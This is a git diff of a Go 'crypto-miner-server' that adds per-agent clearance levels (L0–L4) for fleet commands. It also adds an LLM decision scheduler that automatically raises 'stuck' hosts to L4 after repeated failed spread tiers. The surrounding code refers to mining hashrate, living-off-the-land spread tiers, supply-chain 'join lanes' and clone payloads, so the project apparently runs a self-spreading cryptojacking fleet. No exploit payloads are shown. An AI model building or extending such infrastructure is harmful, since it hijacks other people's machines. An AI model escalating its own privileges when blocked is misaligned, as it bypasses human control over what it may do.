Add L0-L4 security clearance for fleet commands and AI elevation.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
@@ -78,6 +78,9 @@ type AISnapshot struct {
|
|||||||
|
|
||||||
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
|
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
|
||||||
Stuck bool `json:"stuck"`
|
Stuck bool `json:"stuck"`
|
||||||
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
|
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||||
|
InheritedPhenotype *InheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
||||||
|
|
||||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||||
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
|
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
|
||||||
@@ -137,6 +140,16 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
|||||||
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
|
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
|
||||||
ChainExhausted: ms.ChainExhausted,
|
ChainExhausted: ms.ChainExhausted,
|
||||||
}
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
snap.ClearanceLevel = c.clearanceLevel
|
||||||
|
if len(c.atlasSkips) > 0 {
|
||||||
|
snap.AtlasSkips = c.atlasSkipsSnapshot()
|
||||||
|
}
|
||||||
|
if c.inheritedPhenotype != nil {
|
||||||
|
copy := *c.inheritedPhenotype
|
||||||
|
snap.InheritedPhenotype = ©
|
||||||
|
}
|
||||||
|
c.mu.Unlock()
|
||||||
snap.Stuck = aiSnapshotStuck(snap, ms)
|
snap.Stuck = aiSnapshotStuck(snap, ms)
|
||||||
|
|
||||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
|
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
|
||||||
|
|||||||
@@ -64,11 +64,17 @@ type AgentClient struct {
|
|||||||
tierPolicy miner.MiningTierPolicy
|
tierPolicy miner.MiningTierPolicy
|
||||||
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
|
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
|
||||||
adaptiveStrategy AdaptiveStrategy
|
adaptiveStrategy AdaptiveStrategy
|
||||||
|
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
|
||||||
|
atlasSkips []AtlasSkip
|
||||||
|
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||||
|
inheritedPhenotype *InheritedPhenotype
|
||||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||||
triplePolicy miner.TripleOnionPolicy
|
triplePolicy miner.TripleOnionPolicy
|
||||||
triplePolicyLoaded bool
|
triplePolicyLoaded bool
|
||||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||||
joinLane string
|
joinLane string
|
||||||
|
// clearanceLevel is the server-granted security clearance (L0–L4).
|
||||||
|
clearanceLevel int
|
||||||
|
|
||||||
// lastJobAt records when the most recent valid mining job was delivered.
|
// lastJobAt records when the most recent valid mining job was delivered.
|
||||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||||
@@ -384,6 +390,11 @@ func (c *AgentClient) authenticate() error {
|
|||||||
}
|
}
|
||||||
c.applyAuthLotlPolicy(resp)
|
c.applyAuthLotlPolicy(resp)
|
||||||
c.agentID = resp.AgentID
|
c.agentID = resp.AgentID
|
||||||
|
if resp.ClearanceLevel > 0 {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.clearanceLevel = resp.ClearanceLevel
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||||
@@ -488,6 +499,15 @@ func (c *AgentClient) handleMessage(msg Message) {
|
|||||||
hps := c.pool.HashesPerSecond()
|
hps := c.pool.HashesPerSecond()
|
||||||
c.pushAISnapshot(hps)
|
c.pushAISnapshot(hps)
|
||||||
}()
|
}()
|
||||||
|
case "clearance_update":
|
||||||
|
var payload struct {
|
||||||
|
ClearanceLevel int `json:"clearance_level"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.clearanceLevel = payload.ClearanceLevel
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
case "command":
|
case "command":
|
||||||
var cmd struct {
|
var cmd struct {
|
||||||
Action string `json:"action"`
|
Action string `json:"action"`
|
||||||
@@ -1130,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.StratumEgress = c.stratumEgress(false)
|
stats.StratumEgress = c.stratumEgress(false)
|
||||||
}
|
}
|
||||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||||
|
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||||
|
stats.AtlasSkips = atlasSkips
|
||||||
|
}
|
||||||
if lastVulnReport != nil {
|
if lastVulnReport != nil {
|
||||||
score := lastVulnReport.RiskScore
|
score := lastVulnReport.RiskScore
|
||||||
stats.VulnRiskScore = &score
|
stats.VulnRiskScore = &score
|
||||||
|
|||||||
@@ -7,6 +7,9 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/clearance"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
)
|
)
|
||||||
|
|
||||||
// SnapshotProvider supplies live agent telemetry for decision cycles.
|
// SnapshotProvider supplies live agent telemetry for decision cycles.
|
||||||
@@ -27,7 +30,13 @@ type ConfigProvider interface {
|
|||||||
|
|
||||||
// DecisionStore persists decision audit rows.
|
// DecisionStore persists decision audit rows.
|
||||||
type DecisionStore interface {
|
type DecisionStore interface {
|
||||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
|
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *CourtDecisionMeta) error
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearanceElevator raises agent clearance for stuck-host recovery.
|
||||||
|
type ClearanceElevator interface {
|
||||||
|
Level(agentID string) int
|
||||||
|
RequestElevation(agentID string, toLevel int, reason, source string) (int, error)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Scheduler runs periodic LLM decisions for online agents.
|
// Scheduler runs periodic LLM decisions for online agents.
|
||||||
@@ -36,6 +45,8 @@ type Scheduler struct {
|
|||||||
snap SnapshotProvider
|
snap SnapshotProvider
|
||||||
exec CommandExecutor
|
exec CommandExecutor
|
||||||
store DecisionStore
|
store DecisionStore
|
||||||
|
court CourtContext
|
||||||
|
elevator ClearanceElevator
|
||||||
stop chan struct{}
|
stop chan struct{}
|
||||||
wg sync.WaitGroup
|
wg sync.WaitGroup
|
||||||
|
|
||||||
@@ -43,12 +54,14 @@ type Scheduler struct {
|
|||||||
lastRun map[string]time.Time
|
lastRun map[string]time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore) *Scheduler {
|
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore, court CourtContext, elevator ClearanceElevator) *Scheduler {
|
||||||
return &Scheduler{
|
return &Scheduler{
|
||||||
cfg: cfg,
|
cfg: cfg,
|
||||||
snap: snap,
|
snap: snap,
|
||||||
exec: exec,
|
exec: exec,
|
||||||
store: store,
|
store: store,
|
||||||
|
court: court,
|
||||||
|
elevator: elevator,
|
||||||
stop: make(chan struct{}),
|
stop: make(chan struct{}),
|
||||||
lastRun: make(map[string]time.Time),
|
lastRun: make(map[string]time.Time),
|
||||||
}
|
}
|
||||||
@@ -83,6 +96,16 @@ func (s *Scheduler) Tick() {
|
|||||||
s.tick()
|
s.tick()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ResetLastRunForTest backs up lastRun so the next Tick runs immediately (tests only).
|
||||||
|
func (s *Scheduler) ResetLastRunForTest(agentID string, ago time.Duration) {
|
||||||
|
s.lastRunMu.Lock()
|
||||||
|
defer s.lastRunMu.Unlock()
|
||||||
|
if s.lastRun == nil {
|
||||||
|
s.lastRun = make(map[string]time.Time)
|
||||||
|
}
|
||||||
|
s.lastRun[agentID] = time.Now().Add(-ago)
|
||||||
|
}
|
||||||
|
|
||||||
func (s *Scheduler) tick() {
|
func (s *Scheduler) tick() {
|
||||||
if s.cfg == nil || s.snap == nil {
|
if s.cfg == nil || s.snap == nil {
|
||||||
return
|
return
|
||||||
@@ -129,9 +152,37 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
|||||||
if !ok {
|
if !ok {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
userPrompt := BuildUserPrompt(snap)
|
s.maybeAutoElevate(agentID, snap, cfg)
|
||||||
systemPrompt := SystemPrompt()
|
if s.elevator != nil {
|
||||||
promptHash := hashPrompt(userPrompt)
|
snap.ClearanceLevel = s.elevator.Level(agentID)
|
||||||
|
}
|
||||||
|
var systemPrompt, userPrompt string
|
||||||
|
var courtMeta *CourtDecisionMeta
|
||||||
|
useCourt := ShouldUseCourt(snap)
|
||||||
|
if useCourt {
|
||||||
|
atlasSummary := ""
|
||||||
|
var phenotype *strategy.FleetPhenotype
|
||||||
|
if s.court != nil {
|
||||||
|
goos := firstNonEmpty(snap.GOOS, snap.Platform)
|
||||||
|
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
|
||||||
|
if p, ok := s.court.BestPhenotype(snap.FingerprintKey, goos); ok {
|
||||||
|
phenotype = p
|
||||||
|
}
|
||||||
|
}
|
||||||
|
persona := NormalizePersona(cfg.Persona)
|
||||||
|
bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
|
||||||
|
systemPrompt = bundle.SystemPrompt
|
||||||
|
userPrompt = bundle.UserPrompt
|
||||||
|
courtMeta = &CourtDecisionMeta{
|
||||||
|
CourtSession: true,
|
||||||
|
ProsecutorSnippet: bundle.ProsecutorSnippet,
|
||||||
|
DefenderSnippet: bundle.DefenderSnippet,
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
systemPrompt = PersonaSystemPrompt(cfg.Persona)
|
||||||
|
userPrompt = BuildMissionPrompt(snap)
|
||||||
|
}
|
||||||
|
promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)
|
||||||
|
|
||||||
decide := Decide
|
decide := Decide
|
||||||
if DecideFunc != nil {
|
if DecideFunc != nil {
|
||||||
@@ -141,12 +192,15 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
|
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
|
||||||
if s.store != nil {
|
if s.store != nil {
|
||||||
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error())
|
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
|
||||||
}
|
}
|
||||||
s.markRun(agentID)
|
s.markRun(agentID)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if courtMeta != nil {
|
||||||
|
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
||||||
|
}
|
||||||
cmds := ParseCommands(response)
|
cmds := ParseCommands(response)
|
||||||
results := make([]string, 0, len(cmds))
|
results := make([]string, 0, len(cmds))
|
||||||
for _, cmd := range cmds {
|
for _, cmd := range cmds {
|
||||||
@@ -167,11 +221,28 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
|||||||
}
|
}
|
||||||
executed := FormatExecuted(cmds, results)
|
executed := FormatExecuted(cmds, results)
|
||||||
if s.store != nil {
|
if s.store != nil {
|
||||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed)
|
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
|
||||||
}
|
}
|
||||||
s.markRun(agentID)
|
s.markRun(agentID)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const stuckHostFailedTierThreshold = 14
|
||||||
|
|
||||||
|
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
|
||||||
|
if !cfg.AutoElevateClearance || s.elevator == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !snap.Stuck || snap.FailedTierCount < stuckHostFailedTierThreshold {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if s.elevator.Level(agentID) >= clearance.L4 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := s.elevator.RequestElevation(agentID, clearance.L4, "stuck host recovery", "ai_scheduler"); err != nil {
|
||||||
|
log.Printf("[fleet-ai] agent %s clearance elevation: %v", agentID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func hashPrompt(prompt string) string {
|
func hashPrompt(prompt string) string {
|
||||||
h := sha256.Sum256([]byte(prompt))
|
h := sha256.Sum256([]byte(prompt))
|
||||||
return hex.EncodeToString(h[:8])
|
return hex.EncodeToString(h[:8])
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/clearance"
|
||||||
)
|
)
|
||||||
|
|
||||||
type mockSnap struct {
|
type mockSnap struct {
|
||||||
@@ -38,7 +40,7 @@ type mockStore struct {
|
|||||||
rows []string
|
rows []string
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *mockStore) InsertAIDecision(_, _, _, executed string) error {
|
func (m *mockStore) InsertAIDecision(_, _, _, executed string, _ *CourtDecisionMeta) error {
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
m.rows = append(m.rows, executed)
|
m.rows = append(m.rows, executed)
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
@@ -59,6 +61,8 @@ func TestSchedulerExecutesRestartCommand(t *testing.T) {
|
|||||||
&mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}},
|
&mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}},
|
||||||
exec,
|
exec,
|
||||||
store,
|
store,
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
)
|
)
|
||||||
sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
|
sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
|
||||||
sched.Tick()
|
sched.Tick()
|
||||||
@@ -84,9 +88,77 @@ func TestSchedulerNoOpWhenDisabled(t *testing.T) {
|
|||||||
&mockSnap{ids: []string{"agent-1"}},
|
&mockSnap{ids: []string{"agent-1"}},
|
||||||
exec,
|
exec,
|
||||||
nil,
|
nil,
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
)
|
)
|
||||||
sched.Tick()
|
sched.Tick()
|
||||||
if len(exec.calls) != 0 {
|
if len(exec.calls) != 0 {
|
||||||
t.Fatalf("expected no calls")
|
t.Fatalf("expected no calls")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type mockElevator struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
requests []struct {
|
||||||
|
agentID string
|
||||||
|
toLevel int
|
||||||
|
reason string
|
||||||
|
source string
|
||||||
|
}
|
||||||
|
level int
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mockElevator) Level(string) int {
|
||||||
|
if m.level > 0 {
|
||||||
|
return m.level
|
||||||
|
}
|
||||||
|
return clearance.L1
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mockElevator) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
m.requests = append(m.requests, struct {
|
||||||
|
agentID string
|
||||||
|
toLevel int
|
||||||
|
reason string
|
||||||
|
source string
|
||||||
|
}{agentID, toLevel, reason, source})
|
||||||
|
m.level = toLevel
|
||||||
|
return toLevel, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
|
||||||
|
old := DecideFunc
|
||||||
|
defer func() { DecideFunc = old }()
|
||||||
|
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
|
||||||
|
return `{"commands":[{"type":"noop","args":{}}]}`, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
elevator := &mockElevator{}
|
||||||
|
sched := NewScheduler(
|
||||||
|
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1, AutoElevateClearance: true}},
|
||||||
|
&mockSnap{
|
||||||
|
ids: []string{"stuck-1"},
|
||||||
|
snap: AgentSnapshot{
|
||||||
|
AgentID: "stuck-1", Name: "host", Stuck: true, FailedTierCount: 14,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
&mockExec{},
|
||||||
|
&mockStore{},
|
||||||
|
nil,
|
||||||
|
elevator,
|
||||||
|
)
|
||||||
|
sched.lastRun["stuck-1"] = time.Now().Add(-2 * time.Minute)
|
||||||
|
sched.Tick()
|
||||||
|
|
||||||
|
elevator.mu.Lock()
|
||||||
|
defer elevator.mu.Unlock()
|
||||||
|
if len(elevator.requests) != 1 {
|
||||||
|
t.Fatalf("expected 1 elevation, got %+v", elevator.requests)
|
||||||
|
}
|
||||||
|
req := elevator.requests[0]
|
||||||
|
if req.toLevel != clearance.L4 || req.reason != "stuck host recovery" {
|
||||||
|
t.Fatalf("unexpected elevation: %+v", req)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -33,6 +33,11 @@ type AgentSnapshot struct {
|
|||||||
SpreadState string
|
SpreadState string
|
||||||
VulnRisk *int
|
VulnRisk *int
|
||||||
|
|
||||||
|
Stuck bool
|
||||||
|
FailedTierCount int
|
||||||
|
ClearanceLevel int
|
||||||
|
FingerprintKey string
|
||||||
|
|
||||||
AdaptiveSummary string
|
AdaptiveSummary string
|
||||||
Adaptive *strategy.AdaptiveStrategy
|
Adaptive *strategy.AdaptiveStrategy
|
||||||
}
|
}
|
||||||
@@ -50,6 +55,8 @@ type Config struct {
|
|||||||
Model string
|
Model string
|
||||||
NoContext bool
|
NoContext bool
|
||||||
IntervalSec int
|
IntervalSec int
|
||||||
|
AutoElevateClearance bool
|
||||||
|
Persona string
|
||||||
}
|
}
|
||||||
|
|
||||||
// DecisionRecord is persisted for the UI timeline.
|
// DecisionRecord is persisted for the UI timeline.
|
||||||
|
|||||||
146
server/internal/api/clearance.go
Normal file
146
server/internal/api/clearance.go
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
fleetai "crypto-miner-server/internal/ai"
|
||||||
|
"crypto-miner-server/internal/clearance"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
const stuckHostFailedTierThreshold = 14
|
||||||
|
|
||||||
|
// ClearanceManager returns the hub's session clearance tracker.
|
||||||
|
func (h *WSHub) ClearanceManager() *ClearanceManager {
|
||||||
|
if h == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return h.clearance
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearanceManager tracks per-agent session clearance and broadcasts changes.
|
||||||
|
type ClearanceManager struct {
|
||||||
|
hub *WSHub
|
||||||
|
mu sync.RWMutex
|
||||||
|
// agentClearance holds live session clearance keyed by agent ID.
|
||||||
|
agentClearance map[string]int
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewClearanceManager(hub *WSHub) *ClearanceManager {
|
||||||
|
return &ClearanceManager{
|
||||||
|
hub: hub,
|
||||||
|
agentClearance: make(map[string]int),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// InitAgent sets baseline clearance when an agent connects.
|
||||||
|
func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int {
|
||||||
|
if m == nil {
|
||||||
|
return clearance.DefaultClearance(agent)
|
||||||
|
}
|
||||||
|
level := clearance.DefaultClearance(agent)
|
||||||
|
m.mu.Lock()
|
||||||
|
m.agentClearance[agentID] = level
|
||||||
|
m.mu.Unlock()
|
||||||
|
m.pushToAgent(agentID, level)
|
||||||
|
return level
|
||||||
|
}
|
||||||
|
|
||||||
|
// RemoveAgent drops session clearance state.
|
||||||
|
func (m *ClearanceManager) RemoveAgent(agentID string) {
|
||||||
|
if m == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
delete(m.agentClearance, agentID)
|
||||||
|
m.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Level returns the current session clearance for an agent.
|
||||||
|
func (m *ClearanceManager) Level(agentID string) int {
|
||||||
|
if m == nil {
|
||||||
|
return clearance.L0
|
||||||
|
}
|
||||||
|
m.mu.RLock()
|
||||||
|
level, ok := m.agentClearance[agentID]
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if ok {
|
||||||
|
return level
|
||||||
|
}
|
||||||
|
if m.hub != nil && m.hub.db != nil {
|
||||||
|
if agent, err := m.hub.db.GetAgent(agentID); err == nil && agent != nil {
|
||||||
|
return clearance.DefaultClearance(agent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return clearance.L0
|
||||||
|
}
|
||||||
|
|
||||||
|
// RequestElevation raises clearance when needed and notifies dashboards.
|
||||||
|
func (m *ClearanceManager) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
|
||||||
|
if m == nil {
|
||||||
|
return clearance.L0, nil
|
||||||
|
}
|
||||||
|
current := m.Level(agentID)
|
||||||
|
newLevel, err := clearance.RequestElevation(m.hub.db, agentID, current, toLevel, reason, source)
|
||||||
|
if err != nil {
|
||||||
|
return current, err
|
||||||
|
}
|
||||||
|
if newLevel <= current {
|
||||||
|
return current, nil
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
m.agentClearance[agentID] = newLevel
|
||||||
|
m.mu.Unlock()
|
||||||
|
m.pushToAgent(agentID, newLevel)
|
||||||
|
m.broadcastElevation(agentID, current, newLevel, reason, source)
|
||||||
|
return newLevel, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ClearanceManager) pushToAgent(agentID string, level int) {
|
||||||
|
if m == nil || m.hub == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = m.hub.SendToAgent(agentID, Message{
|
||||||
|
Type: "clearance_update",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"clearance_level": level,
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ClearanceManager) broadcastElevation(agentID string, fromLevel, toLevel int, reason, source string) {
|
||||||
|
if m == nil || m.hub == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.hub.broadcastDashboard(Message{
|
||||||
|
Type: "clearance_elevated",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"agent_id": agentID,
|
||||||
|
"from_level": fromLevel,
|
||||||
|
"to_level": toLevel,
|
||||||
|
"reason": reason,
|
||||||
|
"source": source,
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearanceGuardExecutor wraps FleetAIExecutor with clearance enforcement.
|
||||||
|
type ClearanceGuardExecutor struct {
|
||||||
|
Inner *FleetAIExecutor
|
||||||
|
Clearance *ClearanceManager
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *ClearanceGuardExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
|
||||||
|
if e == nil || e.Inner == nil {
|
||||||
|
return "", fmt.Errorf("executor unavailable")
|
||||||
|
}
|
||||||
|
level := clearance.L0
|
||||||
|
if e.Clearance != nil {
|
||||||
|
level = e.Clearance.Level(agentID)
|
||||||
|
}
|
||||||
|
if err := clearance.EnforceClearance(cmd.Type, cmd.Args, level); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return e.Inner.Execute(agentID, cmd)
|
||||||
|
}
|
||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
fleetai "crypto-miner-server/internal/ai"
|
fleetai "crypto-miner-server/internal/ai"
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"crypto-miner-server/internal/strategy"
|
"crypto-miner-server/internal/strategy"
|
||||||
)
|
)
|
||||||
@@ -17,6 +18,8 @@ type FleetAIConfigView struct {
|
|||||||
AIModel string `json:"ai_model"`
|
AIModel string `json:"ai_model"`
|
||||||
AINoContext bool `json:"ai_no_context"`
|
AINoContext bool `json:"ai_no_context"`
|
||||||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||||||
|
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
||||||
|
AIPersona string `json:"ai_persona"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
|
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
|
||||||
@@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
|
|||||||
h.mu.RUnlock()
|
h.mu.RUnlock()
|
||||||
|
|
||||||
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
|
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
|
||||||
|
if engine != nil {
|
||||||
|
fp := engine.AgentFingerprint(agentID)
|
||||||
|
if fp.GOOS == "" {
|
||||||
|
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||||
|
}
|
||||||
|
snap.FingerprintKey = fp.Key()
|
||||||
|
}
|
||||||
|
snap.Stuck = fleetai.ComputeStuck(snap)
|
||||||
|
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
|
||||||
if engine != nil && !aiMode {
|
if engine != nil && !aiMode {
|
||||||
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||||
@@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte
|
|||||||
n := int(v)
|
n := int(v)
|
||||||
snap.VulnRisk = &n
|
snap.VulnRisk = &n
|
||||||
}
|
}
|
||||||
|
if v, ok := tel["stuck"].(bool); ok {
|
||||||
|
snap.Stuck = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
|
||||||
|
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
|
||||||
|
for _, a := range attempts {
|
||||||
|
attemptByTier[a.Tier] = a
|
||||||
|
}
|
||||||
|
failed := 0
|
||||||
|
for _, tier := range fleetai.DefaultSpreadTiers() {
|
||||||
|
if a, ok := attemptByTier[tier]; ok && !a.OK {
|
||||||
|
failed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return failed
|
||||||
|
}
|
||||||
|
|
||||||
|
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
|
||||||
|
type DatabaseCourtAdapter struct {
|
||||||
|
DB interface {
|
||||||
|
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
|
||||||
|
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
|
||||||
|
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
|
||||||
|
if a == nil || a.DB == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return summary
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
|
||||||
|
if a == nil || a.DB == nil {
|
||||||
|
return nil, false
|
||||||
